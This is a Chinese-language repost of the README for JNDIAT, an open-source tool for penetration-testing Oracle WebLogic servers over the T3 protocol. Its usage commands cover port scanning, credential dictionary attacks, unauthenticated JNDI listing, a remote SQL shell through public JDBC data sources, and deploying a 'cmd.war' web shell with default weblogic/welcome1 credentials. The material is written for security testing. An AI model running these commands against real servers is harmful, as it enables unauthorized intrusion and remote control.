JNDI攻击工具
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/quentinhardy/jndiat
JNDIAT - JNDI 攻击工具
JNDIAT ( JNDI Attacking Tool )是一款开源的渗透测试工具,通过T3协议测试 Weblogic 服务器 的 安全性 。
JNDIAT的使用示例:
- 您想搜索是否有可 通过 T3 协议访问的 Weblogic 端口 ,是否通过 SSL/TLS;
- 您想远程 搜索有效帐户 以获得特权连接;
- 您想列出可 访问的 JNDI(Java 命名和目录接口), 以了解您可以在远程 Weblogic 服务器上做什么(没有或有 Weblogic 帐户);
- 您想 使用不受保护的(即“公共”)JDBC 数据源 以获得远程交互式 SQL shell;
- 您想要在 Weblogic 服务器上 部署一个应用程序 (例如 War),以便拥有一个 Web shell(需要帐户)。
针对 JNIDAT 2.0 版本 在 Oracle Weblogic 12 和 Java JRE 8( 官方下载链接)上进行了测试。 针对 JNIDAT 1.0 版本在 Oracle Weblogic 11 和 Java JRE 8 上进行了测试。
注意事项 :
- 如果您在使用 jnidat v2.0 连接到较旧的 Weblogic 服务器时遇到问题,您应该尝试使用 JNDIAT v1.0。 实际上,jndiat 2.0 使用 weblogic v12 库。 jndiat 1.0 使用旧的 weblogic 库。
- 不要使用 OpenJDK 来运行 Jnidat jar 文件。
变更日志
- 版本 2.00 (2022/07/11) :
- 新版本 Weblogic 的 SSL 错误修复。 较旧的 jndiat 版本无法通过 TLS 连接到最新版本的 Weblogic。
- 版本 1.00 (2021/06/11) :
- 无法列出绑定时的错误修复
- 版本 0.01(2018/11/31) :
- 第一个版本。
特征
- 支持 T3 和 T3s ( T3 over SSL )连接。 JNDIAT 创建一个本地临时 Java KeyStore 来验证 Weblogic 服务器的证书;
- 支持 使用空凭据 进行身份验证,即登录名='' 和密码=''。 公共JDBC 数据源在Weblogic 中默认可以使用空帐户(在version11 上测试);
- 如果 weblogic 在域中,则支持目标;
- 检测可通过 T3 协议访问的 端口;
- 通过字典攻击 找到有效凭证;
- 获取可 使用特定帐户(或没有帐户) 访问的 JNDI 列表;
- 通过 JDBC 数据源 获取 远程 sql shell ;
- 使用特权帐户,您可以在 weblogic 服务器上 部署应用程序 ,以便拥有一个 Web shell。
使用示例
下载最新版本的 jndiat https://github.com/quentinhardy/jndiat/releases
主要帮助
java -jar Jndiat.jar -h
JNDIAT版本
java -jar Jndiat.jar --version
扫描端口
该模块应用于扫描可通过 T3(或 T3s)协议访问的端口以获取 JNDI。
要知道是否可以使用端口 7001 建立 T3 连接:
java -jar Jndiat.jar scan -s 192.168.56.101 --ports 7001
扫描端口 7001 和 7002:
java -jar Jndiat.jar scan -s 192.168.56.101 --ports '7001,7002'
扫描 7001 到 7010 端口:
java -jar Jndiat.jar scan -s 192.168.56.101 --ports '7001-7010'
JNDI列表
该模块应该用于获取可通过 T3 协议访问的 JNDI 列表。 此模块用于了解某些 JNDI 是否可在未经身份验证的情况下访问(例如:“公共”JDBC 数据源)。
要在服务器 192.168.56.101 的端口 7001 上访问 JNDI:
java -jar Jndiat.jar list -s 192.168.56.101 -p 7001
如果您未在命令行中指定凭据,该工具将返回无需身份验证即可访问的 JNDI。 如果您知道有效凭据,则可以使用它来获取更多 JNDI:
java -jar Jndiat.jar list -s 192.168.56.101 -p 7001 -U username -P password
JDBC 数据源
该模块允许您通过 JDBC 数据源获取远程 SQL shell。
要从 JNDI 数据源获取交互式 SQL shell:
java -jar Jndiat.jar datasource -s 192.168.56.101 -p 7001 --sql-shell
该工具将询问您要使用的 JDBC 数据源。 如果您知道数据源名称,则可以指定它:
java -jar Jndiat.jar datasource -s 192.168.56.101 -p 7001 --sql-shell --datasource='jdbc/myDataSource'
部署应用程序
由于这个模块,您可以通过 T3 协议在远程 Weblogic 服务器上部署应用程序(例如 .war、.ear)。 要使用此模块,您可能拥有高权限(当然还有帐户)。
以下命令在远程 weblogic 服务器上部署应用程序“cmd.war”。
java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --deploy --appl-file cmd.war
从远程 weblogic 服务器取消部署之前的 war ('cmd.war'):
java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --undeploy
要更改部署在 weblogic 服务器上的应用程序名称, 必须使用 --display-name选项:
java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --deploy --appl-file 'cmd.war' --display-name 'appli-name-displayed'
要取消部署名为appli-name-displayed 的特定应用程序 :
java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --undeploy --display-name 'appli-name-displayed'
特别感谢
apache ant 1.10.12 和 Java JDK 8 已用于生成 jnidat 2.0 jar 文件。